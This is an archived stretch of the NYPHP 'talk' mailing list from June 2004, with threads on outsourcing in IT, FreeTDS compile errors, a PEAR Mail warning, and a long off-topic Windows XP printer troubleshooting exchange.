been around long enough to remember what it was like back in the 'old days', when working in IT meant hideously low pay and occasional ridicule from other staffers from other departments. In the 80s tech started to get sexy. In the 90s it just got waaaaaay outta hand. Now in the 2000s we are seeing a normalization where we sink back to how it was before, although probably still better than how it was in the 70s. One big thing that is causing this is the 'our stuff is so easy to use, anyone can do it' sales pitch. Expectations of non-techies are slowly reorienting from 'geez, computers are hard, we need a geek' to 'this is supposed to be easy, why would I need a specialist?' Then there's the whole 'bigger, better, faster, cheaper' phenomenon most associated with technological development. "Why not people too?", is the common thought. Is outsourcing really such a big deal, when all of these other factors are making such a huge impact on the IT employment landscape? I helped start a website that gets over 10 million visitors a day - but I cannot work for them anymore because I am a father now and my most important priority is my wife and kids. I can, but won't, work from 8AM to 8PM six days a week anymore. And I'm not living paycheck to paycheck anymore, so I can be choosier about my environment. So sure there is an age bias of sorts, but it is not because of age, but because of priorities and values. We are in an industry that - in the whole scheme of things - is only a few minutes old. There's plenty of unsettled aspects of the industry that will take years to stabilize and become more defined. I think that the outsourcing topic is way overblown, and that there are much more significant events taking place that will have infinitely more long-term effects on our careers. -- Mitch, wondering if he is making sense or just starting something that shouldn't be started >From hans not junk at nyphp.com Wed Jun 30 10:40:12 2004 Return-Path: Received: from smtp11.intermedia.net (smtp11.intermedia.net [64.78.21.10]) by virtu.nyphp.org (Postfix) with ESMTP id EE284A85FE for ; Wed, 30 Jun 2004 10:40:11 -0400 (EDT) Received: from ehost011-1.exch011.intermedia.net ([64.78.21.3]) by smtp11.intermedia.net with Microsoft SMTPSVC(6.0.3790.0); Wed, 30 Jun 2004 07:32:02 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [nycphp-talk] PHP cron mgmt Date: Wed, 30 Jun 2004 07:40:07 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F8702D25323 at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk] PHP cron mgmt Thread-Index: AcRd9wu508faMSoXSk2sz+5YmJiYxwAuOulg From: "Hans Zaunere" To: "NYPHP Talk" X-OriginalArrivalTime: 30 Jun 2004 14:32:02.0584 (UTC) FILETIME=[02677980:01C45EAF] X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 30 Jun 2004 14:40:12 -0000 > I'm looking to install something like Webmin (webmin.com) on=20 > our PHP box here so jr level coders can manage cron jobs. =20 > Does anyone know if something like Webmin exists in PHP? =20 > (I'd install Webmin, but for some god-awful reason we don't=20 > have PERL on this box and my hands are kinda tied in terms of=20 > getting it installed) I don't know of anything offhand, but some of the commercial control panels written in PHP can take care of this... however that's probably overkill. I use PHP cron scripts extensively, but never had a need for a management utility. It'd be simple enough to write, but that said, it's good for someone to learn the crontab syntax :) H >From hans not junk at nyphp.com Wed Jun 30 10:44:27 2004 Return-Path: Received: from smtp11.intermedia.net (smtp11.intermedia.net [64.78.21.10]) by virtu.nyphp.org (Postfix) with ESMTP id F095BA87CD for ; Wed, 30 Jun 2004 10:44:26 -0400 (EDT) Received: from ehost011-1.exch011.intermedia.net ([64.78.21.3]) by smtp11.intermedia.net with Microsoft SMTPSVC(6.0.3790.0); Wed, 30 Jun 2004 07:36:17 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [nycphp-talk] Using FreeTDS to connect via PHP to MSSQL Date: Wed, 30 Jun 2004 07:44:23 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F8702D2532E at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk] Using FreeTDS to connect via PHP to MSSQL Thread-Index: AcRer66SQlNg9c3hQqWX89ILJPcOPAAANnwQ From: "Hans Zaunere" To: "NYPHP Talk" X-OriginalArrivalTime: 30 Jun 2004 14:36:17.0620 (UTC) FILETIME=[9A6AE140:01C45EAF] X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 30 Jun 2004 14:44:27 -0000 =20 > -----Original Message----- > From: talk-bounces at lists.nyphp.org=20 > [mailto:talk-bounces at lists.nyphp.org] On Behalf Of Rafi Sheikh > Sent: Wednesday, June 30, 2004 10:37 AM > To: 'talk at lists.nyphp.org' > Subject: [nycphp-talk] Using FreeTDS to connect via PHP to MSSQL >=20 > Has any one tried to compile FreeTDS for use with PHP (4.3.4=20 > in our case on AIX 5.1) to connect with MSSQL? If yes, would=20 > you be so kind as to give us some guidance, our compiles are=20 > failing miserably=20 >=20 > I am listing the error below: >=20 > -----------ERROR LISTING----------------- gcc -g -O2 -o=20 > .libs/tsql tsql.o -lcurses -L../tds/.libs -ltds -liconv -lc=20 > -Wl,-blibpath:/usr/local/lib:/usr/bin/../lib/gcc-lib/powerpc-i > bm-aix5.1.0.0/ > 2.9-aix51-020209:/usr/bin/../lib/gcc-lib:/opt/freeware/GNUPro/ > lib/gcc-lib/po > werpc-ibm-aix5.1.0.0/2.9-aix51-020209:/usr/bin/../lib/gcc-lib/ > powerpc-ibm-ai > x5.1.0.0/2.9-aix51-020209/../../..:/opt/freeware/GNUPro/lib/gc > c-lib/powerpc- > ibm-aix5.1.0.0/2.9-aix51-020209/../../..:/usr/lib:/lib > ld: 0711-317 ERROR: Undefined symbol: .tds_submit_query > ld: 0711-317 ERROR: Undefined symbol: .tds_get_null Is this when compiling FreeTDS itself, or PHP linked with FreeTDS? Seems like a linker problem. I haven't touched AIX in this lifetime, but check that your ld.so.conf, ldconfig, etc. knows where to find everything. H From phillip.powell at adnet-sys.com Wed Jun 30 10:52:22 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Wed, 30 Jun 2004 10:52:22 -0400 Subject: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 In-Reply-To: References: Message-ID: <40E2D3A6.3040808@adnet-sys.com> We'll probably have to take this offline then. I checked the connections and the "bad" machines are fully capable of pinging the printer's IP. But attempting to print a test page consistently fails for the "bad" machines (but the good ones are just fine). Phil Kamm, William R (Bill), ALABS wrote: >Phil, sounds like you did everything correctly. Like Chris said, check >your connections. You should be able to ping the IP. From "Printers >and Faxes", right-click the printer, select Properties, and try to print >a test page. This is going to take some additional troubleshooting that >I can't help with remotely. > >Bill > >-----Original Message----- >From: talk-bounces at lists.nyphp.org [mailto:talk-bounces at lists.nyphp.org] >On Behalf Of Phillip Powell >Sent: Wednesday, June 30, 2004 10:30 AM >To: NYPHP Talk >Subject: Re: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 > > >HUH????erable_rant> > >Man can you folk please speak either English or Swedish? > >Phil > >Chris Bielanski wrote: > > > >> >>Troubleshooting Step #1: Connections, connections, connections. >> >> >>:) >> >>Thanks, >>Chris Bielanski >>Web Programmer, >>International Trademark Association, >>1133 Avenue of the Americas, 33rd Floor >>New York, NY 10036 >>+1 (212) 642-1745, f: +1 (212) 768-7796 >>mailto:cbielanski at inta.org, www.inta.org >>INTA -- 125 Years of Excellence >> >> >> >> >> >> >> >>>-----Original Message----- >>>From: Phillip Powell [mailto:phillip.powell at adnet-sys.com] >>>Sent: Wednesday, June 30, 2004 10:21 AM >>>To: NYPHP Talk >>>Subject: Re: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 >>> >>> >>>Bill, see below, thanx! >>> >>>Kamm, William R (Bill), ALABS wrote: >>> >>> >>> >>> >>> >>>>Here is how I set mine up on my home network: >>>> >>>>1. Assign the printer an IP address. For example, 192.168.1.___. I >>>>can't help you with this, you need to look that up in the manual. >>>> >>>> >>>> >>>> >>>> >>>> >>>We've already done that step a long time ago as a matter of >>>fact. I was >>>able to even view the webpage generated by opening a browser >>>and putting >>>in the IP for the printer on the "good" and "bad" machines. >>> >>> >>> >>> >>> >>>>2. Click Start --> Settings --> Printers and Faxes, then Add Printer. >>>> >>>>3. Click Next on the first wizard page. >>>> >>>>4. This is where Microsoft screwed up. DON'T click the "Network >>>>printer" radio button. Instead, click "Local printer >>>> >>>> >>>> >>>> >>>attached to this >>> >>> >>> >>> >>>>computer". Yeah, it makes no sense at all, but it works. >>>> >>>> >>>> >>>> >>>Uncheck the >>> >>> >>> >>> >>>>"Automatically detect" checkbox, and click Next. >>>> >>>> >>>> >>>> >>>> >>>> >>>All of the other PCs are set up this way already for >>>configuration with >>>the printer. >>> >>> >>> >>> >>> >>>>5. Select the "Create a new port" radio button, and select "Standard >>>>TCP/IP Port" from the dropdown list. Click Next. >>>> >>>> >>>> >>>> >>>> >>>> >>>Actually, that port had already existed. For good measure I deleted >>>that port and recreated it entering the IP address (see Step 7). >>> >>> >>> >>> >>> >>>>6. As the next screen says, make sure the printer is powered >>>> >>>> >>>> >>>> >>>on and is >>> >>> >>> >>> >>>>on the network. Click Next. >>>> >>>>7. Type in the IP address, and the port name will be automatically >>>>filled in. Click Next. >>>> >>>>8. After that, just follow the prompts to find your printer from the >>>>list, assign it a name, and print a test page. >>>> >>>> >>>> >>>> >>>> >>>> >>>Bill, I did all of that last night, to no avail. It would still not >>>print when set up this way; even though the other machines >>>were set up >>>exactly in this format to a tee and can print, the 2 other machines >>>could not. I had managed to connect to a network printer using the >>>network domain workgroup name and it worked until this morning - no >>>explanation whatsoever, it just stopped working! >>> >>> >>> >>> >>> >>>>Bill >>>> >>>>-----Original Message----- >>>>From: talk-bounces at lists.nyphp.org >>>> >>>> >>>> >>>> >>>[mailto:talk-bounces at lists.nyphp.org] >>> >>> >>> >>> >_______________________________________________ >talk mailing list >talk at lists.nyphp.org >http://lists.nyphp.org/mailman/listinfo/talk > > > -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 >From hans not junk at nyphp.com Wed Jun 30 10:49:54 2004 Return-Path: Received: from smtp11.intermedia.net (smtp11.intermedia.net [64.78.21.10]) by virtu.nyphp.org (Postfix) with ESMTP id 0E15CA85FE for ; Wed, 30 Jun 2004 10:49:54 -0400 (EDT) Received: from ehost011-1.exch011.intermedia.net ([64.78.21.3]) by smtp11.intermedia.net with Microsoft SMTPSVC(6.0.3790.0); Wed, 30 Jun 2004 07:41:44 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 Date: Wed, 30 Jun 2004 07:49:51 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F8702D25340 at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 Thread-Index: AcRer+zdVJIK3uD/SmCsJfQ998KXVwAAT++w From: "Hans Zaunere" To: "NYPHP Talk" X-OriginalArrivalTime: 30 Jun 2004 14:41:44.0686 (UTC) FILETIME=[5D5D30E0:01C45EB0] X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 30 Jun 2004 14:49:54 -0000 > It's absurd. Let's keep OT discussion to a minimum guys, and if they do happen, let's try to keep superfluous posts to a minimum. There's a lot of talent on this list, but they stick around because the signal-to-noise ratio is low. If a discussion becomes off topic, let's take it offline. Thanks guys, H From Rafi.Sheikh at Ingenix.com Wed Jun 30 10:50:12 2004 From: Rafi.Sheikh at Ingenix.com (Rafi Sheikh) Date: Wed, 30 Jun 2004 09:50:12 -0500 Subject: [nycphp-talk] Using FreeTDS to connect via PHP to MSSQL Message-ID: Thank you for your reply Hans. This is occurring when compiling FreeTDS. RS This e-mail, including attachments, may include confidential and/or proprietary information, and may be used only by the person or entity to which it is addressed. If the reader of this e-mail is not the intended recipient or his or her authorized agent, the reader is hereby notified that any dissemination, distribution or copying of this e-mail is prohibited. If you have received this e-mail in error, please notify the sender by replying to this message and delete this e-mail immediately. From phillip.powell at adnet-sys.com Wed Jun 30 10:55:09 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Wed, 30 Jun 2004 10:55:09 -0400 Subject: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 In-Reply-To: References: Message-ID: <40E2D44D.20403@adnet-sys.com> Chris Bielanski wrote: >I know I'm lowering the signal ratio of the list with this one ;) > > Jag forstar inte det!! HUH?? Signal Ratio? Dude, I'm a web guy! You're talking over my head so much I'll have to start using $50 apologetic phrases like "Ontological" in response. >I was merely trying to point out that after all this, you should check the >physical connections to that device. If they appear solid, connect a >different printer in its place and see if the same problem exists. > > There are no physical connections apart from the printer being connected to the router like all of the PCs. The connections are solid and the "bad" machines can ping the printer IP. They just can't print, not even a test page. And there is no "different printer", we're a very tiny company and have only one printer. I'm taking this off-list now to avoid further off-topic threading diversion issues. Phil >I'll take it off-list if more help is desired. > >Thanks, >Chris Bielanski >Web Programmer, >International Trademark Association, >1133 Avenue of the Americas, 33rd Floor >New York, NY 10036 >+1 (212) 642-1745, f: +1 (212) 768-7796 >mailto:cbielanski at inta.org, www.inta.org >INTA -- 125 Years of Excellence > > > > > >>-----Original Message----- >>From: Phillip Powell [mailto:phillip.powell at adnet-sys.com] >>Sent: Wednesday, June 30, 2004 10:30 AM >>To: NYPHP Talk >>Subject: Re: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 >> >> >>HUH????>L_indecipherable_rant> >> >>Man can you folk please speak either English or Swedish? >> >>Phil >> >>Chris Bielanski wrote: >> >> >> >>> >>>Troubleshooting Step #1: Connections, connections, connections. >>> >>> >>>:) >>> >>>Thanks, >>>Chris Bielanski >>>Web Programmer, >>>International Trademark Association, >>>1133 Avenue of the Americas, 33rd Floor >>>New York, NY 10036 >>>+1 (212) 642-1745, f: +1 (212) 768-7796 >>>mailto:cbielanski at inta.org, www.inta.org >>>INTA -- 125 Years of Excellence >>> >>> >>> >>> >>> >>> >>> >>>>-----Original Message----- >>>>From: Phillip Powell [mailto:phillip.powell at adnet-sys.com] >>>>Sent: Wednesday, June 30, 2004 10:21 AM >>>>To: NYPHP Talk >>>>Subject: Re: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 >>>> >>>> >>>>Bill, see below, thanx! >>>> >>>>Kamm, William R (Bill), ALABS wrote: >>>> >>>> >>>> >>>> >>>> >>>>>Here is how I set mine up on my home network: >>>>> >>>>>1. Assign the printer an IP address. For example, >>>>> >>>>> >>192.168.1.___. I >> >> >>>>>can't help you with this, you need to look that up in the manual. >>>>> >>>>> >>>>> >>>>> >>>>> >>>>> >>>>We've already done that step a long time ago as a matter of >>>>fact. I was >>>>able to even view the webpage generated by opening a browser >>>>and putting >>>>in the IP for the printer on the "good" and "bad" machines. >>>> >>>> >>>> >>>> >>>> >>>>>2. Click Start --> Settings --> Printers and Faxes, then >>>>> >>>>> >>Add Printer. >> >> >>>>>3. Click Next on the first wizard page. >>>>> >>>>>4. This is where Microsoft screwed up. DON'T click the "Network >>>>>printer" radio button. Instead, click "Local printer >>>>> >>>>> >>>>> >>>>> >>>>attached to this >>>> >>>> >>>> >>>> >>>>>computer". Yeah, it makes no sense at all, but it works. >>>>> >>>>> >>>>> >>>>> >>>>Uncheck the >>>> >>>> >>>> >>>> >>>>>"Automatically detect" checkbox, and click Next. >>>>> >>>>> >>>>> >>>>> >>>>> >>>>> >>>>All of the other PCs are set up this way already for >>>>configuration with >>>>the printer. >>>> >>>> >>>> >>>> >>>> >>>>>5. Select the "Create a new port" radio button, and select >>>>> >>>>> >>"Standard >> >> >>>>>TCP/IP Port" from the dropdown list. Click Next. >>>>> >>>>> >>>>> >>>>> >>>>> >>>>> >>>>Actually, that port had already existed. For good measure >>>> >>>> >>I deleted >> >> >>>>that port and recreated it entering the IP address (see Step 7). >>>> >>>> >>>> >>>> >>>> >>>>>6. As the next screen says, make sure the printer is powered >>>>> >>>>> >>>>> >>>>> >>>>on and is >>>> >>>> >>>> >>>> >>>>>on the network. Click Next. >>>>> >>>>>7. Type in the IP address, and the port name will be automatically >>>>>filled in. Click Next. >>>>> >>>>>8. After that, just follow the prompts to find your >>>>> >>>>> >>printer from the >> >> >>>>>list, assign it a name, and print a test page. >>>>> >>>>> >>>>> >>>>> >>>>> >>>>> >>>>Bill, I did all of that last night, to no avail. It would >>>> >>>> >>still not >> >> >>>>print when set up this way; even though the other machines >>>>were set up >>>>exactly in this format to a tee and can print, the 2 other machines >>>>could not. I had managed to connect to a network printer using the >>>>network domain workgroup name and it worked until this morning - no >>>>explanation whatsoever, it just stopped working! >>>> >>>> >>>> >>>> >>>> >>>>>Bill >>>>> >>>>>-----Original Message----- >>>>>From: talk-bounces at lists.nyphp.org >>>>> >>>>> >>>>> >>>>> >>>>[mailto:talk-bounces at lists.nyphp.org] >>>> >>>> >>>> >>>> >>>>>On Behalf Of Phillip Powell >>>>>Sent: Wednesday, June 30, 2004 10:01 AM >>>>>To: NYPHP Talk >>>>>Subject: Re: [nycphp-talk] OT: Need help with XP and HP >>>>> >>>>> >>LaserJet 2200 >> >> >>>>>It's attached via RJ45 Ethernet. And the company is >>>>> >>>>> >>getting someone >> >> >>>>>else to do it apparently at this point. I had it working >>>>> >>>>> >>last night >> >> >>>>>whereby I was able to add them to the network workgroup >>>>> >>>>> >>>>> >>>>> >>>>(rather, re-add >>>> >>>> >>>> >>>> >>>>>them) and then was able to print; somehow, they can't >>>>> >>>>> >>print anymore. >> >> >>>>>Phil >>>>> >>>>>Kamm, William R (Bill), ALABS wrote: >>>>> >>>>> >>>>> >>>>> >>>>> >>>>> >>>>> >>>>>>How is the printer attached? Ethernet? USB? >>>>>> >>>>>> >>>>>> >>>>>> >>>>Parallel/Centronix? If >>>> >>>> >>>> >>>> >>>>>>it is networked (RJ45 Ethernet), configuration is not that >>>>>> >>>>>> >>>>>> >>>>>> >>>>simple. If >>>> >>>> >>>> >>>> >>>>>>you follow the print wizard, you will go wrong. Let me >>>>>> >>>>>> >>>>>> >>>>>> >>>>know, maybe I >>>> >>>> >>>> >>>> >>>>>>can help. >>>>>> >>>>>>Bill >>>>>> >>>>>>-----Original Message----- >>>>>>From: talk-bounces at lists.nyphp.org >>>>>>[mailto:talk-bounces at lists.nyphp.org] >>>>>>On Behalf Of Phillip Powell >>>>>>Sent: Tuesday, June 29, 2004 7:40 PM >>>>>>To: NYPHP Talk >>>>>>Subject: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 >>>>>> >>>>>> >>>>>>Sorry, I've turned to everyone I know, and everyone I know >>>>>> >>>>>> >>>>>> >>>>>> >>>>knows Linux >>>> >>>> >>>> >>>> >>>>>>now (including me) and not XP. Barring reconfiguring >>>>>> >>>>>> >>>>>> >>>>>> >>>>everything to RH >>>> >>>> >>>> >>>> >>>>>>(dream, but not reality): >>>>>> >>>>>>We have two new XP-enabled machines here at work and >>>>>> >>>>>> >>>>>> >>>>>> >>>>neither will print >>>> >>>> >>>> >>>> >>>>>>using our existing HP LaserJet 2200 Series PCL 6. I >>>>>> >>>>>> >>downloaded the >> >> >>>>>>proper drivers from http://www.hp.com and attempted several >>>>>>reinstallations of printers, to no avail. >>>>>> >>>>>>Each time it will attempt to print, only to time out and throw a >>>>>>timeout-related error each time it tries to print: "The >>>>>> >>>>>> >>>>>> >>>>>> >>>>document has >>>> >>>> >>>> >>>> >>>>>>failed to print". >>>>>> >>>>>>Has anyone out there had experience working with both XP and HP >>>>>>LaserJet >>>>>> >>>>>>printers? I am on a serious time crunch and have to have this >>>>>>configured >>>>>> >>>>>>by morning and I'm stuck! >>>>>> >>>>>>Help! >>>>>> >>>>>>Thanx >>>>>>Phil >>>>>> >>>>>> >>>>>> >>>>>> >>>>>> >>>>>> >>>>>> >>>>>> >>>>>> >>>>> >>>>> >>>>> >>>>> >>>>-- >>>>-------------------------------------------------------------- >>>>------------------- >>>>Phil Powell >>>>Multimedia Programmer >>>>BPX Technologies, Inc. >>>>#: (703) 709-7218 x107 >>>>Fax: (703) 709-7219 >>>> >>>> >>>> >>>>_______________________________________________ >>>>talk mailing list >>>>talk at lists.nyphp.org >>>>http://lists.nyphp.org/mailman/listinfo/talk >>>> >>>> >>>> >>>> >>>> >>>_______________________________________________ >>>talk mailing list >>>talk at lists.nyphp.org >>>http://lists.nyphp.org/mailman/listinfo/talk >>> >>> >>> >>> >>> >>-- >>-------------------------------------------------------------- >>------------------- >>Phil Powell >>Multimedia Programmer >>BPX Technologies, Inc. >>#: (703) 709-7218 x107 >>Fax: (703) 709-7219 >> >> >> >>_______________________________________________ >>talk mailing list >>talk at lists.nyphp.org >>http://lists.nyphp.org/mailman/listinfo/talk >> >> >> >_______________________________________________ >talk mailing list >talk at lists.nyphp.org >http://lists.nyphp.org/mailman/listinfo/talk > > > -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From phillip.powell at adnet-sys.com Wed Jun 30 10:56:39 2004 From: phillip.powell at adnet-sys.com (Phillip Powell) Date: Wed, 30 Jun 2004 10:56:39 -0400 Subject: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 In-Reply-To: <41EE526EC2D3C74286415780D3BA9F8702D25340@ehost011-1.exch011.intermedia.net> References: <41EE526EC2D3C74286415780D3BA9F8702D25340@ehost011-1.exch011.intermedia.net> Message-ID: <40E2D4A7.6030701@adnet-sys.com> Hans Zaunere wrote: >>It's absurd. >> >> > >Let's keep OT discussion to a minimum guys, and if they do happen, let's >try to keep superfluous posts to a minimum. > >There's a lot of talent on this list, but they stick around because the >signal-to-noise ratio is low. If a discussion becomes off topic, let's >take it offline. > > Already taken care of. Please explain "signal-to-noise" that expression is Greek to me. Phil >Thanks guys, > >H > > >_______________________________________________ >talk mailing list >talk at lists.nyphp.org >http://lists.nyphp.org/mailman/listinfo/talk > > > -- --------------------------------------------------------------------------------- Phil Powell Multimedia Programmer BPX Technologies, Inc. #: (703) 709-7218 x107 Fax: (703) 709-7219 From danielc at analysisandsolutions.com Wed Jun 30 11:05:03 2004 From: danielc at analysisandsolutions.com (Daniel Convissor) Date: Wed, 30 Jun 2004 11:05:03 -0400 Subject: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 In-Reply-To: <40E2D4A7.6030701@adnet-sys.com> References: <41EE526EC2D3C74286415780D3BA9F8702D25340@ehost011-1.exch011.intermedia.net> <40E2D4A7.6030701@adnet-sys.com> Message-ID: <20040630150503.GA18884@panix.com> On Wed, Jun 30, 2004 at 10:56:39AM -0400, Phillip Powell wrote: > > Please explain "signal-to-noise" that expression is Greek to me. Hans, will you PLEASE boot this guy from the mailing list already? --Dan -- T H E A N A L Y S I S A N D S O L U T I O N S C O M P A N Y data intensive web and database programming http://www.AnalysisAndSolutions.com/ 4015 7th Ave #4, Brooklyn NY 11232 v: 718-854-0335 f: 718-854-0409 From sm11szw02 at sneakemail.com Wed Jun 30 11:06:20 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Wed, 30 Jun 2004 11:06:20 -0400 Subject: [nycphp-talk] The Difference Between OutSourcing and OpenSourcing is More Than a Few Letters In-Reply-To: <20040630013513.GA16762@uranus.faber.nom> References: <001401c45e2b$e85425d0$e98d3818@oberon1> <20040630013513.GA16762@uranus.faber.nom> Message-ID: <12194-82732@sneakemail.com> Faber Fedor faber-at-linuxnj.com |nyphp 04/2004| wrote: > You may be closer than you think. A potential client I Was talking to > >is married to a VP of a large comapny. We were discussing outsourcing >and he mentioned (implying that the VPs were thinking this way) that >outsourcing was being used to drop salary requirements for techs; move >work offshore, lay off people, salaries drop, then bring the work back on >shore hire the techies at much lower prices. > >Now, I'm not the type to wear tin-foil hats but I'm seriously thinking >about it. :-) > >BTW, does anyone know of a successful off-shored project that wasn't >brought back on-shore because it was a disaster? I've never heard of >one. > The threat is used all the time, but in my exerience good people who are threatened leave -- as opposed to settling for less pay. Maybe they don't lave right away, but they commit to leaving at first opportunity. When a company burns its internal social assets it is doing so with a purpose; it has already made a decision to abandon the workers for a value proposition. Workers should not ignore those signs. It is my belief that most "sick" organizations are sick because management has made the decision, but failed to execute (yet) and the workers are in limbo (and in their guts they feel it). If workers took the clues and left, or if management made swift decisions, everyone would be better off. Unfirtunately senior management often second guesses itself, middle management holds on with disbelief or optimism, and the regular guys get screwed. People say the rats are the first off a sinking ship because they can smell the future. The truth is the holds at the bottom of the ship fill with water first, causing the rats to run for dry land while everyone else waits around unaware that the holds are full of water and the ship is sinking. From stephen at musgrave.org Wed Jun 30 11:07:21 2004 From: stephen at musgrave.org (Stephen Musgrave) Date: Wed, 30 Jun 2004 11:07:21 -0400 Subject: [nycphp-talk] Pear:Mail error confusion In-Reply-To: Message-ID: A bit more searching revealed that this was a problem with PHP 4 (to be addressed in PHP 5) when calling classes statically. The solution? Add a @ on the front-end of the line and everything works fine. @$mail =& Mail::factory('mail'); Stephen On 6/29/04 6:01 PM, "Stephen Musgrave" wrote: > > All - > > I am having some weird issues with Pear Mail. I've used it several times > before but I have never had a problem like this. > > When instantiating the object: > > $mail =& Mail::factory('mail'); > > This is the error I get: > > "Warning: Problem with method call - please report this bug in.." > > I did a search for this and found that this error is common amongst other > object classes. I did a search for this string within the PEAR code base > that I have and didn't find it. > > > > Thanks, > > Stephen > > > > _______________________________________________ > talk mailing list > talk at lists.nyphp.org > http://lists.nyphp.org/mailman/listinfo/talk > > >From hans not junk at nyphp.com Wed Jun 30 11:07:41 2004 Return-Path: Received: from smtp11.intermedia.net (smtp11.intermedia.net [64.78.21.10]) by virtu.nyphp.org (Postfix) with ESMTP id 96C22A87EB for ; Wed, 30 Jun 2004 11:07:41 -0400 (EDT) Received: from ehost011-1.exch011.intermedia.net ([64.78.21.3]) by smtp11.intermedia.net with Microsoft SMTPSVC(6.0.3790.0); Wed, 30 Jun 2004 07:59:31 -0700 X-MimeOLE: Produced By Microsoft Exchange V6.5.7226.0 Content-class: urn:content-classes:message MIME-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Content-Transfer-Encoding: quoted-printable Subject: RE: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 Date: Wed, 30 Jun 2004 08:07:38 -0700 Message-ID: <41EE526EC2D3C74286415780D3BA9F8702D2537A at ehost011-1.exch011.intermedia.net> X-MS-Has-Attach: X-MS-TNEF-Correlator: Thread-Topic: [nycphp-talk] OT: Need help with XP and HP LaserJet 2200 Thread-Index: AcRes6PnkyHiIojPRg+0akK6c4jY/AAADLOQ From: "Hans Zaunere" To: "NYPHP Talk" X-OriginalArrivalTime: 30 Jun 2004 14:59:31.0972 (UTC) FILETIME=[D9841C40:01C45EB2] X-BeenThere: talk at lists.nyphp.org X-Mailman-Version: 2.1.4 Precedence: list Reply-To: NYPHP Talk List-Id: NYPHP Talk List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Wed, 30 Jun 2004 15:07:42 -0000 > > Please explain "signal-to-noise" that expression is Greek to me. >=20 > Hans, will you PLEASE boot this guy from the mailing list already? The best way to end a thread is to ignore it, which I had intended to do. Now this thread is dead... explicitly. No more posts on it. H From sm11szw02 at sneakemail.com Wed Jun 30 11:19:53 2004 From: sm11szw02 at sneakemail.com (inforequest) Date: Wed, 30 Jun 2004 11:19:53 -0400 Subject: [nycphp-talk] Off Topic: International Outsourcing In-Reply-To: <001301c45e9f$27205d60$e98d3818@oberon1> References: <001301c45e9f$27205d60$e98d3818@oberon1> Message-ID: <9455-22925@sneakemail.com> Tim Gales tgales-at-tgaconnect.com |nyphp 04/2004| wrote: >Jon Baer writes: > >"I just read that buildings in NYC can $ave money >if they hardwire XML to Con Edison..." > >It would be 'preaching to the choir' for me to >suggest (on this list) that PHP 5 should be among >the top candidates for implementing systems which >exchange XML documents. > >On a side note, if there are any PHP 'evangelist' >types, who will be (back) in NYC relatively soon >and can carve some time out of their schedule to >give a talk on how to implement XML document exchange >with PHP 5, please contact me (off list). > >T. Gales & Associates >'Helping People Connect with Technology' > >http://www.tgaconnect.com > > >_______________________________________________ >talk mailing list >talk at lists.nyphp.org >http://lists.nyphp.org/mailman/listinfo/talk > > > PHP5 on dedicated hardware on a dedicited line between two points, shuttling data feeds. Sounds like a *nix router to me... one that is on-the-fly-configurable with one of the strongest parsing languages available, built from the ground up for web services. Hmm.... From stephen at musgrave.org Wed Jun 30 11:23:55 2004 From: stephen at musgrave.org (Stephen Musgrave) Date: Wed, 30 Jun 2004 11:23:55 -0400 Subject: [nycphp-talk] The Difference Between OutSourcing and OpenSourcing is More Than a Few Letters In-Reply-To: <12194-82732@sneakemail.com> Message-ID: > outsourcing was being used to drop salary requirements for techs; move > work offshore, lay off people, salaries drop, then bring the work back on > shore hire the techies at much lower prices. this is begging the question: when does an economic system undermine the needs of the the society it is designed to serve? (it's a loaded question, too.) capitalism has historically served as a mechanism for increased opportunities. i'm starting to wonder how the current state of neo-liberal economic policies are serving me, my nation and the world at large. so long as labor practices are fair in these off-shore locations, the gain remains static (or even greater) in the aggregate world view, but that doesn't help the local needs. on-shore this activity benefits the rich and the anonymous stockholder but undermines the very society in which they 